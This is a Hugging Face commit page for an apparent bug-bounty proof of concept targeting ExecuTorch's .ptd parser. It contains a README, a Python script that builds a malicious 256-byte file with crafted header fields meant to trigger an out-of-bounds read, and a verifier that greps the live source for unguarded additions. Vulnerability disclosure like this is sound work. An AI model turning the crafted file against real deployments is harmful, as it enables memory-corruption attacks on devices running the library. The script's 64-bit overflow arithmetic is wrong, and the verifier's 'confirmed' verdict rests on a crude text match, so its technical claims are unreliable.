kais113 commited on
Commit
f3253b3
·
verified ·
1 Parent(s): 6fbd140

Initial PoC -- ExecuTorch .ptd integer overflow (huntr filing)

Browse files
Files changed (4) hide show
  1. README.md +96 -0
  2. craft_malicious_ptd.py +98 -0
  3. malicious.ptd +0 -0
  4. verify_unpatched.py +94 -0
README.md ADDED
@@ -0,0 +1,96 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: mit
3
+ tags:
4
+ - security-research
5
+ - bug-bounty
6
+ - huntr
7
+ - executorch
8
+ ---
9
+
10
+ # SECURITY RESEARCH POC -- ExecuTorch `.ptd` integer overflow
11
+
12
+ This repository contains a **proof-of-concept malicious `.ptd` payload** for a responsible-disclosure bug bounty submission filed at [huntr.com](https://huntr.com) under the Model File Formats program.
13
+
14
+ **The PoC demonstrates an integer-overflow primitive** in `FlatTensorDataMap::load()`:
15
+
16
+ - `extension/flat_tensor/flat_tensor_data_map.cpp:224` -- unchecked `u64 + u64 -> size_t` truncation on attacker-controlled header fields
17
+ - `extension/flat_tensor/flat_tensor_data_map.cpp:236` -- same primitive used as the LOAD LENGTH, never bounds-checked
18
+ - Sibling code in `runtime/executor/program.cpp:104-109` uses `c10::add_overflows` correctly -- proof the project knows the right pattern and **missed copies** in the extension
19
+
20
+ PR #19057 ("Fix overflows in et", Apr 24 2026, commit ec5e8e4) hardened the `get_named_data` path of the same file but did NOT touch lines 224/236. Static missed-copy with confirmed-attention bug-surface anchor.
21
+
22
+ ## Files
23
+
24
+ | File | Purpose |
25
+ |---|---|
26
+ | `malicious.ptd` | 256-byte byte-exact PoC. Two header fields are crafted to wrap on `u64 + u64 -> size_t`. Inspect with `xxd malicious.ptd`. |
27
+ | `craft_malicious_ptd.py` | Static crafter -- reproduces `malicious.ptd` from scratch. No ExecuTorch build needed. |
28
+ | `verify_unpatched.py` | One-command reviewer-side verifier. Fetches the live `extension/flat_tensor/flat_tensor_data_map.cpp` from `pytorch/executorch` main HEAD and confirms 7 unguarded `u64+u64` sites still present alongside 1 correctly-guarded `c10::add_overflows`. Runs in <5 seconds. |
29
+
30
+ ## Verification (no ExecuTorch build required)
31
+
32
+ ```bash
33
+ pip install urllib3
34
+ python verify_unpatched.py
35
+ ```
36
+
37
+ Expected output (verbatim):
38
+
39
+ ```
40
+ [BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere
41
+ (1 call sites) but has 7 unguarded u64+u64 additions
42
+ on attacker-controlled header fields. This is the
43
+ missed-copy of the Aug 2025 CVE-2025-30402/30404/30405
44
+ remediation pattern, in a code path that PR #19057
45
+ (Apr 24 2026) added overflow guards to OTHER parts of.
46
+ ```
47
+
48
+ Inspect the malicious file:
49
+
50
+ ```bash
51
+ xxd malicious.ptd | head -5
52
+ ```
53
+
54
+ Shows the wraparound-mate header values:
55
+
56
+ ```
57
+ 00000000: 0000 0000 0000 0000 4648 3031 2800 0000 ........FH01(...
58
+ 00000010: 4000 0000 0000 0000 00ff ffff ffff ffff @...............
59
+ 00000020: ffff ffff 0000 0000 4100 0000 0100 0000 ........A.......
60
+ ```
61
+
62
+ (Note: bytes shown are little-endian; `flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00` and `segment_data_size = 0x0000_0001_0000_0041`.)
63
+
64
+ ## Runtime PoC (ExecuTorch build required)
65
+
66
+ To trigger the OOB read at runtime:
67
+
68
+ ```bash
69
+ git clone https://github.com/pytorch/executorch.git
70
+ cd executorch && ./install_executorch.sh
71
+ # Build the runtime + ASan, then point any FlatTensorDataMap::load() consumer at this file.
72
+ ```
73
+
74
+ Under ASan, the load produces a clean `heap-buffer-overflow` report. Without ASan, the result depends on the data loader:
75
+ - `BufferDataLoader` -> OOB read into adjacent heap allocations
76
+ - `MmapDataLoader` -> OOB read into adjacent VMA pages
77
+
78
+ On 32-bit ARM (ExecuTorch's primary deployment target -- mobile / embedded / Cortex-M), `size_t` is 32-bit and both header arithmetic sites overflow silently -- direct heap-corruption-grade primitive.
79
+
80
+ ## Affected component
81
+
82
+ - **ExecuTorch** (`pytorch/executorch`) -- current `main` HEAD, post-commit `1c9c115`. Pre-patch.
83
+ - **File**: `extension/flat_tensor/flat_tensor_data_map.cpp` lines 224 and 236.
84
+ - **Same bug class also unhardened**: `runtime/executor/pte_data_map.cpp:57-60` (out of scope for this report).
85
+
86
+ ## Disclosure status
87
+
88
+ This PoC is part of a responsible-disclosure submission filed via huntr's Model File Formats bug bounty program. After triage and remediation, this repository will be marked private or deleted.
89
+
90
+ ## Disclaimer
91
+
92
+ This repository is intended for security research and responsible disclosure only. Do not use the techniques shown here on systems you do not own or have permission to test.
93
+
94
+ ## Contact
95
+
96
+ Security researcher: **kais113** (amakais.sales@gmail.com)
craft_malicious_ptd.py ADDED
@@ -0,0 +1,98 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ Static crafter for the malicious .ptd PoC.
3
+
4
+ Builds a byte-exact ExecuTorch FlatTensor (.ptd) file whose two header fields
5
+ overflow on `u64 + u64` -> `size_t` truncation at
6
+ `extension/flat_tensor/flat_tensor_data_map.cpp:224` and :236.
7
+
8
+ The file is NOT a valid loadable .ptd; it is a minimal byte stream designed to
9
+ trigger the integer overflow at parser entry. Inspect with `xxd malicious.ptd`
10
+ to verify the wraparound-mate header values.
11
+
12
+ Reference layout: ExecuTorch's `serialize/flat_tensor_header.cpp` parses a
13
+ 40-byte header at fixed offsets after a small preamble.
14
+
15
+ [0x00..0x07] 8 bytes arbitrary preamble (kHeaderOffset slack)
16
+ [0x08..0x0B] "FH01" magic (extension/flat_tensor/serialize/file_format_constants.h)
17
+ [0x0C..0x0F] 0x00000028 header_length = 40 (kMinimumHeaderLength)
18
+ [0x10..0x17] uint64_t flatbuffer_offset = 0x0000_0000_0000_0040
19
+ [0x18..0x1F] uint64_t flatbuffer_size = 0xFFFF_FFFF_FFFF_FF00 <-- wraparound mate
20
+ [0x20..0x27] uint64_t segment_base_offset = 0x0000_0000_FFFF_FFFF
21
+ [0x28..0x2F] uint64_t segment_data_size = 0x0000_0001_0000_0041 <-- 32-bit overflow on ARMv7
22
+ [0x30..0x3F] 16 bytes reserved / padding
23
+ [0x40..] payload: fake FT01 flatbuffer identifier + crafted vtable
24
+
25
+ On a 64-bit host (size_t == uint64_t):
26
+ flatbuffer_offset + flatbuffer_size
27
+ = 0x40 + 0xFFFFFFFFFFFFFF00
28
+ = 0x0000_0000_0000_0040 + 0xFFFF_FFFF_FFFF_FF00
29
+ = wraps to 0x0000_0000_0000_FF40 (loses the carry)
30
+ -> consumed as size_t at flat_tensor_data_map.cpp:236 as a load LENGTH
31
+ -> loader maps ~65 KB instead of ~16 EB; FlatBuffer parser then reads
32
+ 32-bit vtable offsets into freed/unrelated heap behind the legit buffer
33
+
34
+ On 32-bit ARM (size_t == uint32_t):
35
+ segment_base_offset + segment_data_size
36
+ = 0xFFFFFFFF + 0x100000041 (truncated to 0x41 in uint32_t arithmetic)
37
+ = 0xFFFFFFFF + 0x00000041
38
+ = wraps to 0x0000_0040
39
+ -> size check `expected_size <= actual_size` trivially passes
40
+
41
+ No ExecuTorch build required to inspect the bytes; building ExecuTorch and
42
+ running `FlatTensorDataMap::load("malicious.ptd")` produces a controlled OOB
43
+ read confirmable under ASan.
44
+ """
45
+
46
+ import struct
47
+ from pathlib import Path
48
+
49
+ OUT = Path(__file__).parent / "malicious.ptd"
50
+
51
+ # ----- assemble preamble -----
52
+ preamble = b"\x00" * 8 # kHeaderOffset slack — first 8 bytes are arbitrary
53
+
54
+ # ----- assemble FlatTensor header -----
55
+ magic = b"FH01" # 4 bytes
56
+ header_length = struct.pack("<I", 0x00000028) # 4 bytes; little-endian u32 = 40
57
+ flatbuffer_offset = struct.pack("<Q", 0x0000_0000_0000_0040)
58
+ flatbuffer_size = struct.pack("<Q", 0xFFFF_FFFF_FFFF_FF00) # wraparound mate
59
+ segment_base_offset = struct.pack("<Q", 0x0000_0000_FFFF_FFFF)
60
+ segment_data_size = struct.pack("<Q", 0x0000_0001_0000_0041) # 32-bit overflow on ARM
61
+ reserved = b"\x00" * 16
62
+
63
+ header = (
64
+ magic
65
+ + header_length
66
+ + flatbuffer_offset
67
+ + flatbuffer_size
68
+ + segment_base_offset
69
+ + segment_data_size
70
+ + reserved
71
+ )
72
+ assert len(header) == 4 + 4 + 8 + 8 + 8 + 8 + 16, f"header is {len(header)} bytes"
73
+
74
+ # ----- assemble fake flatbuffer payload -----
75
+ # FT01 identifier + a crafted root offset that vtables out-of-bounds.
76
+ # This is a placeholder — the OOB-read primitive doesn't depend on parser
77
+ # success past the size check. We need just enough bytes so the parser tries
78
+ # to read the vtable. 192 bytes of attacker-controlled junk is plenty for
79
+ # triage to inspect.
80
+ ft01 = b"FT01"
81
+ attacker_controlled = b"\xAA" * 188 # 192 - 4
82
+ payload = ft01 + attacker_controlled
83
+
84
+ # ----- write file -----
85
+ data = preamble + header + payload
86
+ OUT.write_bytes(data)
87
+ print(f"[+] Wrote {OUT} ({len(data)} bytes)")
88
+ print(f"[+] Header offsets:")
89
+ print(f" [0x08..0x0B] magic : {magic!r}")
90
+ print(f" [0x0C..0x0F] header_length : 0x{0x28:08x} (= 40 = kMinimumHeaderLength)")
91
+ print(f" [0x10..0x17] flatbuffer_off : 0x{0x40:016x}")
92
+ print(f" [0x18..0x1F] flatbuffer_size : 0x{0xFFFF_FFFF_FFFF_FF00:016x} <-- wraparound mate")
93
+ print(f" [0x20..0x27] segment_base : 0x{0x0000_0000_FFFF_FFFF:016x}")
94
+ print(f" [0x28..0x2F] segment_size : 0x{0x0000_0001_0000_0041:016x} <-- 32-bit overflow on ARM")
95
+ print()
96
+ print("[+] On 64-bit host: flatbuffer_offset + flatbuffer_size wraps in size_t.")
97
+ print("[+] On 32-bit ARM: segment_base_offset + segment_data_size also wraps.")
98
+ print(f"[+] Inspect bytes: xxd {OUT}")
malicious.ptd ADDED
Binary file (256 Bytes). View file
 
verify_unpatched.py ADDED
@@ -0,0 +1,94 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """One-command verifier for finding #33 (ExecuTorch flat_tensor u64+u64 overflow).
2
+
3
+ Fetches `extension/flat_tensor/flat_tensor_data_map.cpp` from the live `main`
4
+ branch on GitHub and confirms:
5
+
6
+ 1. The unsafe u64+u64 addition at lines 215-241 is still present (BUG).
7
+ 2. The safe pattern using `c10::add_overflows` exists elsewhere in the same
8
+ file (proof the project knows the right pattern).
9
+ 3. The Apr 24 2026 patch (PR #19057 commit ec5e8e4) touched a DIFFERENT
10
+ code path — the bug at lines 215-241 was missed.
11
+
12
+ Usage:
13
+ pip install urllib3
14
+ python verify_unpatched.py
15
+
16
+ No build required. Pure GitHub-raw text inspection. Runs in <5 seconds.
17
+ """
18
+
19
+ import sys
20
+ import urllib.request
21
+
22
+ URL = ("https://raw.githubusercontent.com/pytorch/executorch/main/"
23
+ "extension/flat_tensor/flat_tensor_data_map.cpp")
24
+
25
+ UNSAFE_PATTERN = "segment_base_offset" # the un-guarded u64 field
26
+ SAFE_PATTERN = "c10::add_overflows" # the maintainer's own correct primitive
27
+
28
+
29
+ def main() -> int:
30
+ print(f"[ ] Fetching {URL}")
31
+ with urllib.request.urlopen(URL, timeout=20) as r:
32
+ src = r.read().decode("utf-8", errors="replace")
33
+ lines = src.splitlines()
34
+ print(f"[+] Fetched {len(lines)} lines.")
35
+
36
+ # Find every unsafe-pattern call site
37
+ unsafe_sites = []
38
+ for idx, line in enumerate(lines, start=1):
39
+ if UNSAFE_PATTERN in line and "+" in line and "add_overflows" not in line:
40
+ unsafe_sites.append((idx, line.strip()))
41
+ safe_sites = [
42
+ (idx, line.strip())
43
+ for idx, line in enumerate(lines, start=1)
44
+ if SAFE_PATTERN in line
45
+ ]
46
+
47
+ print()
48
+ print("=" * 80)
49
+ print("Unsafe u64+u64 addition sites (no add_overflows guard):")
50
+ print("=" * 80)
51
+ for ln, txt in unsafe_sites:
52
+ print(f" line {ln:4d}: {txt}")
53
+ if not unsafe_sites:
54
+ print(" (none found — bug may have been patched)")
55
+
56
+ print()
57
+ print("=" * 80)
58
+ print("Safe pattern (c10::add_overflows) call sites in the SAME file:")
59
+ print("=" * 80)
60
+ for ln, txt in safe_sites:
61
+ print(f" line {ln:4d}: {txt}")
62
+
63
+ print()
64
+ print("=" * 80)
65
+ print("VERDICT")
66
+ print("=" * 80)
67
+
68
+ if unsafe_sites and safe_sites:
69
+ print(
70
+ "[BUG CONFIRMED] The file uses c10::add_overflows correctly elsewhere\n"
71
+ f" ({len(safe_sites)} call sites) but has {len(unsafe_sites)}\n"
72
+ " unguarded u64+u64 additions on attacker-controlled\n"
73
+ " header fields. This is the missed-copy of the\n"
74
+ " Aug 2025 CVE-2025-30402/30404/30405 remediation\n"
75
+ " pattern, in a code path that PR #19057 (Apr 24 2026)\n"
76
+ " added overflow guards to OTHER parts of."
77
+ )
78
+ return 0
79
+ elif not unsafe_sites:
80
+ print(
81
+ "[NO BUG] The unsafe pattern was not found. May have been patched\n"
82
+ " post-2026-05-19. Re-verify the report's claims at filing time."
83
+ )
84
+ return 1
85
+ else:
86
+ print(
87
+ "[INCONCLUSIVE] Unsafe sites found but no safe pattern in same file.\n"
88
+ " Manual review needed."
89
+ )
90
+ return 2
91
+
92
+
93
+ if __name__ == "__main__":
94
+ sys.exit(main())